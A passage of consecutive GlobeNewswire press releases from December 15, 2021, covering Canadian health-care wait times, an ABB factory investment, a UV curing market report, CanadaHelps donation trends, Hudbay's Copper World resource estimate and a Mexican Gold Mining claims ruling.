Columbia, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Canadian patients waited longer than ever this year for medical treatment, finds a new study released today by the Fraser Institute, an independent, non-partisan Canadian public policy think-tank. The study, an annual survey of physicians from across Canada, reports a median wait time of 25.6 weeksthe longest ever recordedand 175 per cent higher than the 9.3 weeks Canadians waited in 1993, when the Fraser Institute began tracking wait times for medically necessary elective treatments. The results of this years survey suggest that COVID-19 and related hospital closures have exacerbated, but are not the cause of Canadas historic wait times challenges, said Bacchus Barua, director of the Fraser Institutes Centre for Health Policy Studies and co-author of Waiting Your Turn: Wait Times for Health Care in Canada, 2021. Results from the same survey reveal that patients waited an estimated 20.9 weeks for medically necessary elective care in 2019long before the pandemic started The study examines the total wait time faced by patients across 12 medical specialties from referral by a general practitioner (i.e. family doctor) to consultation with a specialist, to when the patient ultimately receives treatment. Among the provinces, Ontario recorded the shortest wait time at 18.5 weeksstill up from 17.4 weeks in 2020. Nova Scotia recorded the longest wait time in Canada at 53.2 weeks. Among the various specialties, national wait times were longest between a referral by a GP referral and neurosurgical procedures (49.2 weeks) and shortest for radiation treatments (3.7 weeks). Patients also experience significant waiting times for various diagnostic technologies across the provinces. This year, Canadians could expect to wait 5.2 weeks for a computed tomography (CT) scan, 10.2 weeks for a magnetic resonance imaging (MRI) scan, and 3.6 weeks for an ultrasound. Crucially, physicians report that their patients are waiting six weeks longer for treatment (after seeing a specialist) than what they consider to be clinically reasonable. This year, the COVID-19 pandemic impacted the surveys response rate, but about one-in-ten physicians (9 per cent) across the country still participated, with more than 1,100 responses. Excessively long wait times remain a defining characteristic of Canadas health-care system said Mackenzie Moir, Fraser Institute policy analyst and co-author of the report. And they arent simply minor inconveniences, they can result in increased suffering for patients, lost productivity at work, a decreased quality of life, and in the worst cases, disability or death. Median wait times by province (in weeks) PROVINCE 2020 2021 PROVINCE 2020 2021 British Columbia 26.6 26.2 Quebec 18.8 29.1 Alberta 29.4 32.1 New Brunswick 41.3 41.5 Saskatchewan 21.7 30.9 Nova Scotia 43.8 53.2 Manitoba 23.7 31.5 P.E.I. 46.5 41.6 Ontario 17.4 18.5 Newfoundland and Labrador 29.2 21.1 MEDIA CONTACT: Bacchus Barua, Director, Centre for Health Policy Studies Fraser Institute Mackenzie Moir, Policy Analyst Fraser Institute For interviews or for more information, please contact: Drue MacPherson, Junior Media Relations Coordinator Fraser Institute Tel: (604) 688-0221 Ext. 721 E-mail: drue.macpherson@fraserinstitute.org Follow the Fraser Institute on Twitter and Facebook English French CA$16 million investment will create more than 60 new jobs Facility expansion will double production of plastic injection molded solutions Increased production capacity will better meet Canadas growing demand for safe, smart and sustainable electrification solutions MONTREAL, Dec. 15, 2021 (GLOBE NEWSWIRE) -- ABB is investing CA$16 million in its Installation Products Division manufacturing facility in Pointe-Claire, Canada. This enables expanded production capacity to meet the growing needs of customers from coast to coast. ABBs investment is part of a five-year strategy to integrate new digital processes and automation across our operations, says Matthias Heilmann, President, ABB Installation Products Division. With our customer-first approach, this enables us to further innovate our products and manufacturing capabilities to meet the specific needs of the Canadian market. The expansion will create over 60 full-time jobs in the upgraded 75,000 square foot facility to deliver the legacy Canadian brands produced by ABBs Pointe-Claire facility. These include Marrette wire connectors, the NuTek series of non-metallic thermoplastic boxes, and Snap-it plastic fittings. The site also produces Carlon PVC products and other components used in a range of Canadian product lines. The additional team members will enable the site to operate multiple product lines and shifts to meet increasing demand for safe, smart and sustainable electrical solutions across industrial, commercial and residential applications, says Alain Quintal, Vice President and General Manager, ABB Installation Products Division in Canada. Having operated in this community for nearly a century, ABB is committed to continuing its strong heritage as a trusted industry partner and employer of choice. In Canada, ABB has a strong history of excellence stretching back more than 100 years. With its Canadian corporate headquarters in Montreal, ABBs success is driven by 3,000 talented employees in 32 locations from coast to coast. Part of its Electrification Business Area, ABB Installation Products Division, formerly Thomas & Betts, is a global leader in the design, manufacture and marketing of products used to manage the connection, protection and distribution of electrical power in industrial, construction and utility applications. With more than 200,000 products under more than 38 premium brand names, ABB Installation Products solutions can be found wherever electricity is used. ABB (ABBN: SIX Swiss Ex) is a leading global technology company that energizes the transformation of society and industry to achieve a more productive, sustainable future. By connecting software to its electrification, robotics, automation and motion portfolio, ABB pushes the boundaries of technology to drive performance to new levels. With a history of excellence stretching back more than 130 years, ABBs success is driven by about 105,000 talented employees in over 100 countries. www.abb.com. For more information please contact: Media Relations for ABB Canada Carley Tietolman Phone: + 1 514 348 4452 Email : carley.tietolman@ca.abb.com ABB Inc 800 Hymus Blvd Saint-Laurent, Quebec, H4S 0B5 A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/e831afe3-8f04-4fc3-987c-4185920fc8f1 Dublin, Dec. 15, 2021 (GLOBE NEWSWIRE) -- The "UV Curing System Market with Covid-19 Impact Analysis by Technology (UV LED, Mercury Lamp), Type (Spot Cure, Flood and Focused Beam, Conveyor), Pressure Type (High, Medium, Low), Application, Vertical and Geography - Global Forecast to 2026" report has been added to ResearchAndMarkets.com's offering. The UV curing system market is projected to reach USD 8.6 billion by 2026 from USD 3.6 billion in 2021; it is expected to grow at a CAGR of 18.6% from 2021 to 2026. The growth of the UV curing system market in North America is mainly driven by large-scale funded programs by the government. Moreover, the high adoption rate and technological advancements also drive the growth of the UV curing system market in North America. The North American region is the largest market as the region is home to major players in the market such as Dymax (US), Phoseon (US), and Baldwin Technology (US). Stringent regulatory framework by agencies such as EPA (Environment Protection Agency) and the American Industrial Hygiene Association (AIHA) is playing a key role in the monitoring and commercialization of UV curing technology. The large share enjoyed by the region is due to the vast presence of various large-scale automotive and medical machinery manufacturers. The outbreak of the novel coronavirus is expected to affect the UV curing system market, but a steady recovery is expected by 2022. The expansion of the market is due to the rising demand from the semiconductor & electronics industry as well as from the medical sector. Developing countries in APAC have vast growth potential as well as a favorable environment for product manufacturers. Therefore, the UV curing system market in APAC is expected to grow at the highest rate during the forecast period. The UV LED technology segment, is expected to have the highest growth during the forecast period. UV LED technology is expected to dominate the UV curing system market during the forecast period due to the increase in demand for energy-efficient LEDs and enhanced user experience. UV LEDs have a longer life span than mercury lamps and are environmentally friendly. Apart from these, UV LEDs do not use mercury, which harms health and causes life-threatening diseases. North America is expected to be the largest market for UV LED during the forecast period. This is due to its features such as instantaneous switching on and off, fast and uniform drying and curing, low heat emission, and low power consumption. North America adapts and changes quickly with the latest technologies and needs. The increased demand for UV LED is due to the increase in awareness of green energy and its minimal power consumption. The bonding & assembling application segment, of the UV curing system market, is projected to hold a larger share during the forecast period. The bonding & assembling segment accounted for the largest share of the UV curing system market in 2020, whereas the printing segment is expected to grow at the highest CAGR during the forecast period. UV LED is used for printing purposes. Benefits of using UV LED in printing are faster drying, eco-friendly, material versatility, color enhancement, and high-quality finishing. UV curing uses light instead of heat when drying. The UV LED segment is expected to grow at a higher CAGR during the forecast period. This high growth can be attributed to increased awareness of energy consumption and green energy. UV LED uses 50-70% less energy than mercury lamps. The UV curing system market in APAC is projected to have the highest CAGR during the forecast period (2021-2026). The UV curing system market in APAC comprises China, Japan, South Korea, India, and the Rest of APAC, which primarily includes Australia, Taiwan, Thailand, Indonesia, Singapore, Malaysia, the Philippines, and New Zealand. It is expected to be the fastest-growing market for UV curing systems during the forecast period. China is expected to be the largest market for UV curing systems and is also expected to witness the highest CAGR during the forecast period. Premium Insights Increase in Consumer Electronics to Support Market Growth Spot Cure Segment to Have Largest Market Share, 2021-2026 Mercury Lamp Technology and China to Account for Largest Share in Asia-Pacific by 2026 China to Record Highest CAGR, 2021 to 2026 Market Dynamics Drivers Growing Inclination Toward Eco-Friendly Products and Stringent Regulations Regarding the Use of Green Products Benefits of UV Curing Systems Than Traditional Curing Systems Rising Demand for UV LEDs Across Industries due to COVID-19 Restraints Limited Depth of Curing Lack of Awareness and High Cost of UV Coatings Opportunities Increasing Applications of UV Curing System Preference for UV Technologies for Print Labeling and Packaging due to COVID-19 Challenges Risks Related to Hazardous Effects of Mercury Present in UV Mercury Lamps Slowdown in Production of Manufacturing Industries due to COVID-19 Cracking Defects on UV Curable Coating Products Case Study Analysis UV Curing System for Nasal Swabs: Dymax Uvcs Light-Curing Conveyor Systems Helped to Increase the Production of Nasal Swabs UV Curing System for Camera Modules: Case Study on Using Ultraviolet Cure to Secure a Camera Module Holder to a Pcb UV Curing System for Industry: Improving Wpg's Komori Ls829P with UV Curing UV Curing System for Polyjet: Improving Printing Cycles and Accuracy with UV Curing System Patent Analysis UV Curing System by Henkel AG and Co KGaA UV Curing Type Ink Jet Printing Ink Composition UV Curing System by Henkel AG and Co KGaA Document Type Patents Filed Patents: Applications Vs. Granted, 2011-2020 Publication Trend Patents Filed from 2011 to 2020 Patents Filed from 2011 to 2020 Jurisdiction Analysis Top Patent Owners Top 10 Companies with Published Patent Applications, 2011-2020 Top 20 Published Patent Owners in the Last 10 Years Company Profiles Key Players Dymax Nordson Heraeus Phoseon Technology Ist Metz GmbH Baldwin Technology American Ultraviolet Hanovia Excelitas Technologies Honle Other Key Players Omron Corporation Uvitron Atlantic Zeiser Benford Uv Miltec Uv Thorlabs Uvexs Incorporated Gew (Ec) Limited Delo APL Machinery Pvt. Ltd. Kyocera Corporation Senlian Panasonic Doctoruv Shenzhen Naimeite Jenton International For more information about this report visit https://www.researchandmarkets.com/r/8cy527 TORONTO, Dec. 15, 2021 (GLOBE NEWSWIRE) -- CanadaHelps , the countrys largest platform for donating and fundraising online, today released a year-end report card highlighting the ways Canadians have stepped up to help charities in 2021. As of November 30, 2021, donations through CanadaHelps totalled $304 million. This represents a year-over-year increase of 6.9%, which is a significant drop compared to the tremendous growth in online giving seen in year one of the pandemic (116% year-over-year increase), and below the pre-pandemic growth rate of 21% in 2019. The softening of growth in online giving comes at a time when demand for charity services is rising, and 42%* of charities are not able to meet the current level of demands. Despite these challenges, CanadaHelps observed five positive giving trends this year: More Canadians Made Multiple Donations : Donors making two or more donations on CanadaHelps.org increased by 87.2% versus last year. Donors making two or more donations on CanadaHelps.org increased by 87.2% versus last year. Monthly Giving is on the Rise : The number of Canadians that established monthly giving plans increased by 23.6%. Monthly gifts now make up 10.3% of total donations. : The number of Canadians that established monthly giving plans increased by 23.6%. Monthly gifts now make up 10.3% of total donations. More Donors are Leveraging the Extra Tax Benefits of Security Donations: Donations of securities, including stocks, bonds, and mutual funds, increased by 52% and have raised 99% more in donations versus last year. Securities represent 7.3% of total donations. Donations of securities, including stocks, bonds, and mutual funds, increased by 52% and have raised 99% more in donations versus last year. Securities represent 7.3% of total donations. Younger Donors Emerge: Of the 12% of Canadians that have increased the amount of money they donated to charity amid the pandemic, 17% are younger Canadians (aged 18-34) thats more than any other age group. Of the that have increased the amount of money they donated to charity amid the pandemic, 17% are younger Canadians (aged 18-34) thats more than any other age group. Charities and Donors Demonstrated Great Resilience: Charities launched new virtual and hybrid fundraising strategies to replace in-person events and Canadians responded. Ticketed events this year grew by 49% while revenue from charity walks, runs, and other thons increased by 52%. At a time when charities are facing an unprecedented demand for services, we renew our call to Canadians to donate whatever they can to a charity or to a cause they care about, said Marina Glogovac, President and CEO of CanadaHelps. This year, most Canadian charities are facing operational challenges due to critical drops in revenue and greater demand for their services. Although several positive and encouraging giving trends have emerged this year, charities and our communities are reliant on the generosity of Canadian donors. Further insights on online giving trends are available here . In addition to making an online donation, there are several other ways in which Canadians can support charities through CanadaHelps : Purchase Charity Gift Cards as a stocking stuffer that not only gives back but also makes it easy to teach children about charitable giving. as a stocking stuffer that not only gives back but also makes it easy to teach children about charitable giving. Donors can establish an annual giving goal, set up a monthly donation to a favourite cause, track their giving performance, and access their charitable receipts via a CanadaHelps account. Support several charities with a single donation to a Cause Fund through Unite for Change . through . Create a fundraiser on behalf of a charity to celebrate a milestone or special event. These insights on year-to-date giving come as CanadaHelps reaches a significant milestone of $2 billion in online donations processed over its 21-year history. About CanadaHelps CanadaHelps is a charitable foundation working to increase giving in Canada through technology. CanadaHelps.org , provides a safe and trusted one-stop destination for making donations, fundraising, or learning about any charity in Canada. CanadaHelps also develops affordable fundraising technology and provides free training and education for charities so that, regardless of size, all charities have the capacity to increase their impact and succeed in the digital age. CanadaHelps also powers UniteforChange.com , a new website where Canadians can support, learn, and engage with a range of causes. More than 3.2 million Canadians have donated more than $2 billion to charities using CanadaHelps since its founding in 2000. For additional information, visit CanadaHelps.org or connect with CanadaHelps on Twitter , Facebook , Instagram and LinkedIn . * Imagine Canada, Sector Monitor, August 2021 Jodi Echakowitz Boulevard Public Relations jodi@boulevardpr.com Indicated mineral resources of 272 million tonnes at 0.36% copper and inferred mineral resources of 142 million tonnes at 0.36% copper Includes near surface, higher grade indicated mineral resources of 96 million tonnes at 0.57% copper and inferred mineral resources of 31 million tonnes at 0.71% copper, with the potential to be mined earlier in the mine life Resource estimate includes recent additional drilling at Copper World which has continued to define shallow high-grade mineralization and continuity between Peach-Elgin and North-South Limb, as well as between Bolsa and Rosemont Resources comprise both oxide and sulphide mineralogy and are potentially amenable to heap leach and flotation processing methods, respectively Preliminary economic assessment is progressing well and is on track for the first half of 2022 TORONTO, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Hudbay Minerals Inc. (Hudbay or the company) (TSX, NYSE: HBM) today announced a National Instrument 43-101 (NI 43-101) initial mineral resource estimate for the recently discovered Copper World deposits located near the companys Rosemont copper project in Arizona. The 100% owned Copper World project is located in close proximity to the 100% owned Rosemont deposit, with mineralization closer to surface than Rosemont. The Copper World project consists of seven deposits extending over seven kilometres, including Bolsa, Broad Top Butte, Copper World, Peach, Elgin, South Limb and North Limb. The initial resource for our Copper World project is larger and at a higher level of geological confidence than we expected at this stage due to the exploration teams success in discovering several quality deposits through an extensive drill program this year, said Peter Kukielski, President and Chief Executive Officer. The indicated and inferred resources at Copper World include a significant higher-grade component located near surface, which has the potential to form part of an attractive, low-cost copper operation located predominantly on private land. The metallurgical testing and mineralogical studies on Copper World are well-advanced and we look forward to releasing a preliminary economic assessment in the first half of 2022. We are very encouraged by the initial resource estimate for Copper World, where we have seven meaningful deposits with relatively low strip ratios, and the project has the potential to be an exciting operation for our Arizona business, said Andre Lauzon, incoming Senior Vice President and Chief Operating Officer. If Copper World is developed, it will support Americas efforts to reduce greenhouse gas emissions by producing the copper needed for renewable energy and electric vehicles, in a sustainable and socially responsible manner. In addition, it would generate many direct and indirect jobs in the region. There remains the potential for further copper discoveries in the area and we look forward to continuing the exploration and permitting process in 2022. Extensive Drill Program Results in Large Resource Estimate In October 2020, Hudbay began condemnation and exploration drilling over the companys patented private land claims at Copper World and, following encouraging early results, Hudbay expanded the exploration drill program. The initial drill results were announced in March 2021, including four deposits with the potential to be a viable open pit operation. Since then, Hudbays exploration program at Copper World has continued to define and extend seven mineral deposits hosting both oxide and sulphide copper mineralization at shallow depths over a seven-kilometre strike area. The deposits are located northwest of and in continuity with the Rosemont deposit and are predominantly located on Hudbays wholly owned private land mining claims (please refer to the plan view in Figure 1). The mineralization consists of both skarn and porphyry copper sulphides with a significant oxidized component along a regional fault along the west side of the Rosemont, Bolsa and Broad Top Butte deposits known as the Backbone Fault (please refer to Figure 2). Based on the assay results compiled and validated as of October 13, 2021, the initial mineral resource estimate for the Copper World deposits is summarized in Table 1 below. The mineral resources are shown with reference to the potential processing methodology for the sulphide and oxide mineralogy present. Table 1: Copper World Project Global Mineral Resource Estimates as at December 1, 2021 Potential Processing Method Category Metric Tonnes CuT (%) CuSS (%) Mo (g/t) Ag (g/t) Flotation Indicated 180,000,000 0.37 0.07 136 2.7 Inferred 91,000,000 0.36 0.05 129 3.8 Leach Indicated 92,000,000 0.34 0.27 74 3.4 Inferred 51,000,000 0.35 0.27 61 2.5 Total Indicated 272,000,000 0.36 0.13 115 2.9 Inferred 142,000,000 0.36 0.13 105 3.3 Notes: 1 CIM definitions were followed for the estimation of mineral resources. Mineral resources that are not mineral reserves do not have demonstrated economic viability. 2 Mineral resources are reported within an economic envelope defined by a pit shell optimization algorithm and assuming a selective mining unit of 50x50x50 feet. This pit shell is defined by a revenue factor of 1.0 assuming operating costs adjusted and updated from the 2017 Rosemont Feasibility Study. 3 Long-term metal prices of US$3.45 per pound copper, US$20.00 per ounce silver and US$11.00 per pound molybdenum were used for the estimation of the mineral resources. 4 Metal recovery estimates assume that this mineralization would be processed at a combination of facilities, including copper and molybdenum flotation and heap and/or run-of-mine leach pads followed by solvent extraction and electrowinning. 5 CuT represents total copper grade. 6 CuSS represents the copper grade in oxides. 7 Specific gravity measurements were estimated from core box weights validated by industry standard laboratory measurements. High Grade and Located Close to Surface The Copper World deposits contain higher grade mineralization that often starts at or very near surface. This is specifically observed at the Peach-Elgin, Broad Top Butte and Bolsa deposits where significant higher-grade tonnage has the potential to be mined with minimum waste stripping during the initial years of mining (please refer to Figure 3). This higher grade, near surface portion of the Copper World global mineral resource estimate is shown in Table 2 below. Table 2: Copper World Project High Grade Mineral Resource Estimates as at December 1, 2021 Potential Processing Method Category Metric Tonnes CuT (%) CuSS (%) Mo (g/t) Ag (g/t) Flotation Indicated 48,000,000 0.68 0.14 125 4.0 Inferred 13,000,000 0.78 0.18 136 3.6 Leach Indicated 48,000,000 0.46 0.37 68 4.2 Inferred 18,000,000 0.66 0.49 50 3.7 Total Indicated 96,000,000 0.57 0.26 97 4.1 Inferred 31,000,000 0.71 0.36 86 3.7 Notes: 1 Mineral resource estimates in this Table 2 are defined by a revenue factor of 0.36. A lower revenue factor typically indicates the optimal mining sequence and highlights mineralization that has the potential to be mined earlier in the mine life in order to maximize the value of the operation. 2 The higher grade mineral resources shown in Table 2 above are included in the global mineral resource estimate presented in Table 1. Additional Successful Drilling Results The resource estimate for Copper World includes drilling completed since the last exploration update on September 22, 2021. The recent drilling activities have focused on filling the drilling gap between the Bolsa and Rosemont deposits and have been successful in continuing to delineate higher grade mineralization. The drilling gap has now been reduced to 300 feet from 1,500 feet, and the drilling has extended the Bolsa deposit to the south. Four drill rigs continue to turn at site to conduct infill drilling and to support future economic studies, as discussed below. Synergies Between Copper World and Rosemont Approximately 33 million tonnes of inferred mineral resources at the Bolsa deposit were considered to be waste in the resource pit shell used for the NI 43-101 Technical Report Feasibility Study for Rosemont dated March 30, 2017 (2017 Feasibility Study). For that study, these tonnes were accounted for as pre-stripping since there were no mineralized intersections available at the time (please refer to Figure 2 for a visual of the proximity of the Bolsa deposit to the Rosemont deposit). Any ability to convert Bolsa mineral resources to reserves would be expected to result in less waste being mined at Rosemont, thereby reducing costs and energy consumption per tonne of ore mined. It is expected that additional synergies will be identified as Hudbay continues to close the drilling gap between Bolsa and Rosemont. The Rosemont deposit also contains oxide mineralization that was previously classified as waste, which may be able to be processed with the oxide mineralization at Copper World, further reducing costs and energy consumption per tonne of ore mined at Rosemont. Next Steps Preliminary Economic Assessment on Track for the First Half of 2022 The technical studies for Copper World are well-advanced and the results will be incorporated into a Preliminary Economic Assessment (PEA) contemplating the development of the Copper World deposits in conjunction with the Rosemont deposit. The company expects to publish the PEA results in a NI 43-101 Technical Report in the first half of 2022. The PEA is also expected to reflect preliminary expectations of potential synergies between Copper World and Rosemont. The Rosemont deposit is one of the worlds best undeveloped copper projects with proven and probable mineral reserves of 537 million tonnes at 0.45% copper and additional measured and indicated mineral resources, exclusive of reserves, of 536 million tonnes at 0.29% copper. Hudbay is also completing a review of the Rosemont resource model in the 2017 Feasibility Study based on the recent knowledge gained from the shallow drilling conducted at Copper World and notably at Bolsa, as described above. The objective is to investigate opportunities to reduce some of the grade smoothing inherent in the resource modeling methodology used in 2017 for Rosemont. Private Land Operation Permitting Underway Hudbay holds approximately 4,500 acres of private land and patented mining claims to support an operation entirely on private land. In October, Hudbay received approval from the Arizona State Mine Inspector for its Mined Land Reclamation Plan (MLRP) for Copper World after applying for the MLRP in June 2021. The MLRP approval includes the requirement for reclamation cost bonding prior to initiating work on the companys private lands and represents the first step in the state-level permitting process for a private land operation. The aquifer protection permit and air quality permit are the key state-level permits required for a private land operation, which, along with other minor permits, are expected to be advanced in 2022 pending positive economic studies for Copper World. Hudbay has previously received the aquifer protection and air quality permits for Rosemont and these permits have been successfully upheld through litigation. Continued Exploration Success and 2022 Plans for Further Drilling and Economic Studies There remain opportunities for extension of the mineralization discovered at the Copper World and Bolsa deposits. The objectives of the current drilling program, which will continue in 2022, is to convert a large portion of the inferred mineral resources to the indicated category, convert some of the indicated mineral resources to the measured category, to test the potential connections between Broad Top Butte and Bolsa and between Bolsa and Rosemont, to test for extensions of the Copper World deposit, and to test for other discrete mineralized bodies in between the known deposits. Hudbay is also planning to advance a pre-feasibility study in 2022 after the completion of the PEA. Activities to support the PEA will include additional technical studies and drilling at Copper World. In 2021, geophysical surveys have also identified several new targets north and south of Copper World, one of which is highlighted in Figure 4. A large portion of Hudbays property in this prolific region has yet to be explored and provides the potential for further discoveries. Resource Estimation Methodology A total of 310 holes drilled by Hudbay and previous owners of the project area have intersected copper mineralization and were used to define the Copper World deposits. The methodology followed to estimate mineral resources at the Copper World deposits is identical to the approach used for several years at Hudbays Constancia and Pampacancha mines in Peru where the mineral resource and reserve estimates have shown positive reconciliation results with mill credited production (please refer to the NI 43-101 Technical Report for Constancia dated March 29, 2021 for more details). This methodology is slightly different from the one used for the Rosemont deposit in the 2017 Feasibility Study and has also been adapted to reflect the recent knowledge gained from the shallow and closely-spaced drilling conducted by Hudbay in 2020 and 2021 at the Copper World deposits. The distribution of the copper mineralization is not bounded by each stratigraphic unit but, rather, delimited by four structural domains with the porphyry intrusives and the regional backbone and low-angle faults being the key controlling structural features. Resource classification adopted at Copper World follows the same classification criteria found to be a reliable measure of quarterly and annual performance in tonnes and grade prediction at Hudbays operating mines and compares well with the classification used at Rosemont in the past. Blocks initially classified as measured were downgraded to indicated in order to account for the impact of historical drilling in the Peach-Elgin and Broad Top Butte areas, for which no quality assurance / quality control results and core are available for validation. The Copper World mineral resource estimates were estimated assuming a selective mining unit of 50 feet by 50 feet by 50 feet and within economic pit shells defined by a Lerch Grossman algorithm. This mineral resource estimate does not account for marginal amounts of historical small-scale operations in the area that occurred between 1870 and 1970 and is estimated to have extracted approximately 200,000 tonnes, which is within rounding approximations of the current resource estimates. Qualified Person and NI 43-101 Because of the early stage of their development, Hudbay does not consider the Copper World deposits to be material mineral properties for purposes of NI 43-101. The scientific and technical information contained in or incorporated by reference into this news release has been prepared under the supervision of Olivier Tavchandjian, P. Geo., Hudbays Vice President, Exploration and Geology. Mr. Tavchandjian is a Qualified Person for purposes of NI 43-101. Mr. Tavchandjian has verified the exploration data disclosed in this news release, including sampling, analytical, and test data underlying the information or opinions expressed herein. The data verification and quality assurance / quality control (QA/QC) measures that were used as part of the Copper World drill program conducted by Hudbay since 2020 are summarized below: Recent exploration core drilling done by Hudbay at the Copper World deposits was a combination of NQ and PQ size. Drill core was removed from the core tube by drilling contractors and placed in labelled core boxes. Core was logged by geologist, photographed, measured for conductivity, and tagged with sample tags. Core was cut in half and placed in labeled sample bags with the sample tags and transported via commercial currier for preparation and analysis to the facilities of three selected independent commercial analytical laboratories: Skyline Assayers & Laboratories in Tucson (AZ), SGS Canada in Burnaby (BC) and ALS USA Inc in Tucson (AZ). The remaining second half of the core was securely stored as a secondary backup sample for eventual verification purposes and further analysis if required. Samples were prepared and assayed following industry standard analytical protocols at each laboratory. To keep consistency among the different Laboratories, the sample preparation and analytical protocols were equivalent to those carried out by Bureau Veritas Mineral Laboratories in Reno (NV) and Vancouver (BC) as part of previous Hudbays 2014 and 2020 drilling campaigns. Analyses were carried using a combination of ICP-MS and ICP-ES, following multi acid digestion to achieve near total dissolution (Methods TE-5, GE_ICM40Q12 and ME-MS61 at each Lab respectively). Gold was analyzed by fire assay with AAS finish (Methods FA-1, GE_FAA30V5 and Au-AA23 respectively). Samples with concentration of Cu>8000 ppm and Mo>1000 ppm, were reanalyzed multi acid (Methods CuT & SEA/Mo, GO_ICP42Q100 ICP-ES and MW-OG62) for ore grade base-metal sulfide and precious-metal ores. Cu Sequential Analysis (sulfuric acid leach followed by sodium cyanide leach) were analyzed by methods Cu-SEQ, GC_ASQ01D50/GC_ASQ02D100 and Cu-AA05/17h at Skyline, SGS and ALS respectively. QA/QC included the insertion of 5% of samples as blanks, 5% as standards (from 4 certified reference materials) and 5% as pulp duplicates. Failure rates were nominal in all cases and no significant QA/QC issue was identified. The validity of using historical drilling for which core and or QAQC results are not available anymore was confirmed by conducting global comparison of grade interpolation using this data versus the recent drilling done by Hudbay. Hudbay is not aware of any drilling, sampling, recovery, or other factors that could materially affect the accuracy or reliability of the mineral resource estimates disclosed in this news release. Forward-Looking Information This news release contains forward-looking information within the meaning of applicable Canadian and United States securities legislation. Forward-looking information includes, but is not limited to, Hudbays expectations regarding the future potential of the Copper World deposits and the Rosemont project, its plans for additional drilling and other exploration work on the Copper World deposits, its expectations regarding the PEA for Copper World and the potential to advance a pre-feasibility study in 2022, the anticipated state-level permitting process for Copper World and potential synergies between Copper World and Rosemont. Forward-looking information is not, and cannot be, a guarantee of future results or events. Forward-looking information is based on, among other things, opinions, assumptions, estimates and analyses that, while considered reasonable by the company at the date the forward-looking information is provided, inherently are subject to significant risks, uncertainties, contingencies and other factors that may cause actual results and events to be materially different from those expressed or implied by the forward-looking information. The material factors or assumptions that Hudbay identified and were applied by the company in drawing conclusions or making forecasts or projections set out in the forward-looking information include, but are not limited to, the companys ability to continue to operate safely and at full capacity during the COVID-19 pandemic; no disruptions to supply chains, contractor availability or technical services due to COVID-19 related challenges and no unanticipated litigation or legal challenges related to Copper World or Rosemont. The risks, uncertainties, contingencies and other factors that may cause actual results to differ materially from those expressed or implied by the forward-looking information may include, but are not limited to, risks associated with the COVID-19 pandemic and its effect on Hudbays operations, financial condition, projects and prospects, the possibility of a global recession arising from the COVID-19 pandemic and attempts to control it, risks generally associated with the mining industry, such as economic factors (including future commodity prices, currency fluctuations, energy prices and general cost escalation), risks associated with the Copper World permitting process, risks associated with the ongoing Rosemont litigation and the potential for new legal challenges or litigation to arise as well as the risks discussed under the heading Risk Factors in Hudbays most recent Annual Information Form. Should one or more risk, uncertainty, contingency or other factor materialize or should any factor or assumption prove incorrect, actual results could vary materially from those expressed or implied in the forward-looking information. Accordingly, you should not place undue reliance on forward-looking information. Hudbay does not assume any obligation to update or revise any forward-looking information after the date of this news release or to explain any material difference between subsequent actual events and any forward-looking information, except as required by applicable law. About Hudbay Hudbay (TSX, NYSE: HBM) is a diversified mining company primarily producing copper concentrate (containing copper, gold and silver), zinc metal and silver/gold dore. Directly and through its subsidiaries, Hudbay owns three polymetallic mines, four ore concentrators and a zinc production facility in northern Manitoba and Saskatchewan (Canada) and Cusco (Peru), and copper projects in Arizona and Nevada (United States). The companys growth strategy is focused on the exploration, development, operation and optimization of properties it already controls, as well as other mineral assets it may acquire that fit its strategic criteria. Hudbays vision is to be a responsible, top-tier operator of long-life, low-cost mines in the Americas. Hudbays mission is to create sustainable value through the acquisition, development and operation of high-quality, long-life deposits with exploration potential in jurisdictions that support responsible mining, and to see the regions and communities in which the company operates benefit from its presence. The company is governed by the Canada Business Corporations Act and its shares are listed under the symbol "HBM" on the Toronto Stock Exchange, New York Stock Exchange and Bolsa de Valores de Lima. Further information about Hudbay can be found on www.hudbay.com. For further information, please contact: Candace Brule Vice President, Investor Relations (416) 814-4387 candace.brule@hudbay.com Figure 1: Plan View of the Copper World Project The Copper World project consists of seven mineral deposits hosting both oxides and sulphide copper mineralization at shallow depths over a seven-kilometre strike area, with a majority of the deposits located on private mining claims adjacent to Rosemont. https://www.globenewswire.com/NewsRoom/AttachmentNg/71d5a548-48f3-429d-946b-2b03d63a3ffa Figure 2: Location of Deposits in Proximity to the Backbone Fault Significant oxide mineralization located along a regional fault that runs near the west side of the Rosemont, Bolsa and Broad Top Butte deposits known as the Backbone Fault. https://www.globenewswire.com/NewsRoom/AttachmentNg/82ca0c6d-764c-4a7b-8db9-41fb74b3e130 Figure 3: Higher Grade Portion Expected to be Mined Earlier Longitudinal section showing Bolsa, Copper World, Peach-Elgin and Broad Top Butte pit shells with higher grade mineralization located closer to surface and expected to be mined earlier in the mine life. https://www.globenewswire.com/NewsRoom/AttachmentNg/e70cf5ec-db02-4f50-bb59-58590b1bded1 Figure 4: Several Geophysical Exploration Targets Identified in the Region The region remains prospective with several geophysical targets identified north and south of the Copper World deposits, including an untested geophysical anomaly located near Broad Top Butte. https://www.globenewswire.com/NewsRoom/AttachmentNg/a6214b82-c9a5-4363-bde7-2ae9c00eed5e VANCOUVER, British Columbia, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Mexican Gold Mining Corp. (the Company or Mexican Gold") (TSXV: MEX, OTCQB: MEXGF) is pleased to announce the favourable resolution of the claims dispute concerning certain lands that overlap a portion of the Companys Pepe mineral concessions at its Las Minas Project in Mexico. A dispute was filed over seven years ago concerning the claim boundaries of the 1,000-hectare Pepe property, upon which subsequent prospectors had staked a 220-hectare overlapping land position (the Santa Fe Claims) which coincided with the location of the Companys National Instrument 43-101 (NI 43-101) compliant resource. The General Director of Mines (GDM) in Mexico has ruled in favour of Mexican Gold, thereby nullifying the portion of the overlapping Santa Fe Claims and reducing it such that it is positioned outside of the Companys mineral claim boundaries as well as the NI 43-101 resource base. (See Figure 1 below.) Figure 1: Las Minas Project Claims Map To view Figure 1, please click on the following link: https://www.globenewswire.com/NewsRoom/AttachmentNg/4c47ff4d-01eb-405a-b003-b296a9d49597 Las Minas Project Mexican Gold, through its wholly owned subsidiary, Roca Verde Exploracion de Mexico, S.A. de C.V, owns a 100% interest in the Las Minas Project in the Las Minas district in the State of Veracruz, Mexico. The project is comprised of six mineral concessions consisting of the Pepe, Pepe Tres, San Jose, Pueblo Nuevo, La Luz I and San Valentin mineral concessions. About Mexican Gold Mining Corp. Mexican Gold is a Canadian-based mineral exploration and development company committed to building long-term value through 